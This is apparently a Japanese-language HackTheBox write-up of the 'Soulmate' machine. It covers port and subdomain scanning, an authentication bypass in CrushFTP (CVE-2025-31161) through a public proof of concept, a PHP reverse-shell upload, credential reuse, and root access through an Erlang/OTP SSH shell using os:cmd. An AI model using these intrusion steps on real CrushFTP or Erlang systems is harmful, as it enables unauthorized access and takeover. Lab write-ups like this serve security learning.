1
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

HackTheBox Writeup:Soulmate

1
Posted at

はじめに

本記事はHackTheBoxのWriteupです。

Machineは、Soulmateです。

Soulmateでは、CrushFTPの脆弱性やErlang/OTPのSSHについて学びます。

スキャニング

はじめにポートスキャンを実行します。

以下では事前に用意したシェルを介してポートスキャンを実行しています。

##################
# Port scan tool #
##################
 *Detailed scan :1
 *Full scan     :2


 ***Select scanning method by number***
1
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-05 22:32 JST
Nmap scan report for soulmate.htb (10.10.11.86)
Host is up (0.24s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Soulmate - Find Your Perfect Match
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.35 seconds
Scan completed

上記ポートスキャンの結果を基に調査を行います。

列挙

ポートスキャンの結果を踏まえて、hostsファイルを編集後soulmate.htbにHTTPアクセスすると、以下の様な画面が表示されます。

スクリーンショット 2025-10-05 22.36.24.png

Soulmateはマッチングを行うプラットフォームのようです。アカウントを作成することができますが、特に目ぼしい情報は見つかりませんでした。

ファジング

ffufを実行してファジングを行なったところ、ftpのサブドメインを検出しました。

$ ffuf -w ~/tool/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u http://soulmate.htb/ -H "Host: FUZZ.soulmate.htb" -fs 154

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://soulmate.htb/
 :: Wordlist         : FUZZ: /home/kali/tool/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.soulmate.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 154
________________________________________________

ftp                     [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 271ms]
:: Progress: [4989/4989] :: Job [1/1] :: 162 req/sec :: Duration: [0:00:31] :: Errors: 0 ::

検出したftp.soulmate.htbにアクセスすると、CrushFTPの画面が表示されます。

スクリーンショット 2025-10-05 22.36.30.png

CrushFTPはJavaで開発されているため、特定のOSに強依存することなく、Windows、Linux、macOSなど複数の環境で動作可能なファイル転送サーバです。また、FTP、FTPS、SFTP、HTTP、HTTPS、WebDAV、WebDAV SSLなど様々なプロトコルをサポートしています。

脆弱性分析

トップページのHTMLのソースを確認すると、v=11.W.657-2025_03_08_07_52のバージョン文字列が確認できます。

CrushFTPの11バージョンに関する脆弱性を調査したところ、CVE-2025-31161の脆弱性が見つかりました。

CVE-2025-31161は、CrushFTP 10(10.8.4より前)及び11(11.3.1より前)のバージョンに存在する脆弱性です。CrushFTPに対するリモートの認証されていないHTTPリクエストによって、攻撃者が認証されていないアクセス権を取得する可能性があります。

GitHubで見つけたPocを実行すると、CrushFTPのログインに必要な認証情報が取得できました。

[+] Preparing Payloads
  [-] Warming up the target
  [-] Request timed out, continuing with exploit
[+] Sending Account Create Request
  [!] User created successfully
[+] Exploit Complete you can now login with
   [*] Username: AuthBypassAccount
   [*] Password: CorrectHorseBatteryStaple.

上記で取得した認証情報を用いて、CrushFTPにログインします。

スクリーンショット 2025-10-05 22.43.49.png

システムハッキング

CrushFTPのファイルアップロード機能を利用して足場を作ります。

アクセスの獲得

画面上部の「User Manager」を選択し、画面左に表示されているユーザー情報よりbenを選択します。

スクリーンショット 2025-10-05 22.46.08.png

benユーザのパスワードを変更するため「Generate Random Password」を押して任意のパスワードを入力後「OK」を押します。

スクリーンショット 2025-10-05 22.55.20.png

画面下部までスクロールを行い「Save」を押して保存します。

スクリーンショット 2025-10-05 22.55.31.png

benユーザと新しく設定したパスワードを用いてログインを行います。

スクリーンショット 2025-10-05 22.55.47.png

benユーザでログインできました。

スクリーンショット 2025-10-05 22.55.54.png

webProdフォルダより、ファイルのアップロードが可能です。

スクリーンショット 2025-10-05 22.56.00.png

phpのリバースシェルをアップロードします。

スクリーンショット 2025-10-05 22.59.42.png

事前にリスナーを用意した状態でアクセスすると、リバースシェルが取得できます。

listening on [any] 4444 ...
connect to [REDACTED] from (UNKNOWN) [10.10.11.86] 55488
Linux soulmate 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64 x86_64 x86_64 GNU/Linux
 13:59:31 up  5:37,  0 users,  load average: 0.00, 0.01, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ 

idコマンドを実行すると、現在はwww-dataユーザであることが確認できます。

uid=33(www-data) gid=33(www-data) groups=33(www-data)

/homeディレクトリを確認すると、benユーザが確認できます。

ls -l /home

total 4
drwxr-x--- 4 ben ben 4096 Oct  5 08:38 ben

benユーザの認証情報を探索していると、root権限で動作している興味深いプロセスを発見しました。

root        1102  0.0  1.7 2254512 70032 ?       Ssl  08:22   0:11 /usr/local/lib/erlang_login/start.escript -B -- -root /usr/local/lib/erlang -bindir /usr/local/lib/erlang/erts-15.2.5/

/usr/local/lib/erlang_login/start.escriptファイルの中身を確認したところ、benユーザに関する認証情報が確認できました。

{user_passwords, [{"ben", "REDACTED"}]},

ユーザーフラグ

取得した認証情報を用いてログインすると、ユーザ-フラグが確認できます。

total 4
-rw-r----- 1 root ben 33 Oct  5 08:22 user.txt

ルートフラグ

ルートフラグを取得するためには、ルートユーザーへの昇格が必要です。

ssコマンドを実行すると、ローカルで複数のポートが起動していることが分かります。

State                 Recv-Q                Send-Q                               Local Address:Port                                Peer Address:Port               Process               
LISTEN                0                     4096                                     127.0.0.1:4369                                     0.0.0.0:*                                        
LISTEN                0                     4096                                     127.0.0.1:8443                                     0.0.0.0:*                                        
LISTEN                0                     5                                        127.0.0.1:2222                                     0.0.0.0:*                                        
LISTEN                0                     4096                                     127.0.0.1:9090                                     0.0.0.0:*                                        
LISTEN                0                     4096                                     127.0.0.1:33537                                    0.0.0.0:*                                        
LISTEN                0                     4096                                 127.0.0.53%lo:53                                       0.0.0.0:*                                        
LISTEN                0                     4096                                     127.0.0.1:8080                                     0.0.0.0:*                                        
LISTEN                0                     511                                        0.0.0.0:80                                       0.0.0.0:*                                        
LISTEN                0                     128                                        0.0.0.0:22                                       0.0.0.0:*                                        
LISTEN                0                     128                                      127.0.0.1:40473                                    0.0.0.0:*   

2222番ポートは、/usr/local/lib/erlang_login/start.escriptファイルにも記載があり、Erlang/OTPによってSSHサーバを起動していることが考えられます。

以下のコマンドを実行して、2222番ポートにSSHログインします。パスワードは同じです。

$ ssh ben@localhost -p 2222

The authenticity of host '[localhost]:2222 ([127.0.0.1]:2222)' can't be established.
ED25519 key fingerprint is SHA256:TgNhCKF6jUX7MG8TC01/MUj/+u0EBasUVsdSQMHdyfY.
This host key is known by the following other names/addresses:
    ~/.ssh/known_hosts:1: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[localhost]:2222' (ED25519) to the list of known hosts.
ben@localhost's password: 
Eshell V15.2.5 (press Ctrl+G to abort, type help(). for help)
(ssh_runner@soulmate)1> 

os:cmd("id").コマンドを実行すると、ルートユーザーであることが分かります。

(ssh_runner@soulmate)1> os:cmd("id").

"uid=0(root) gid=0(root) groups=0(root)\n"

以下のコマンド実行して、root.txtファイルを出力します。

(ssh_runner@soulmate)1> os:cmd("cat /root/root.txt").

"REDACTED\n"

おわりに

CrushFTPのバージョン情報の推定は、メジャーバージョンのみに限られています。

Censys社のブログ記事より、「July 25 Advisory: Critical CrushFTP Vulnerability Added to CISA KEV [CVE-2025-54309]」を参考にすると、アップデートの日付は、特定の脆弱性が修正された日付と一致することが多いそうです。

1
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?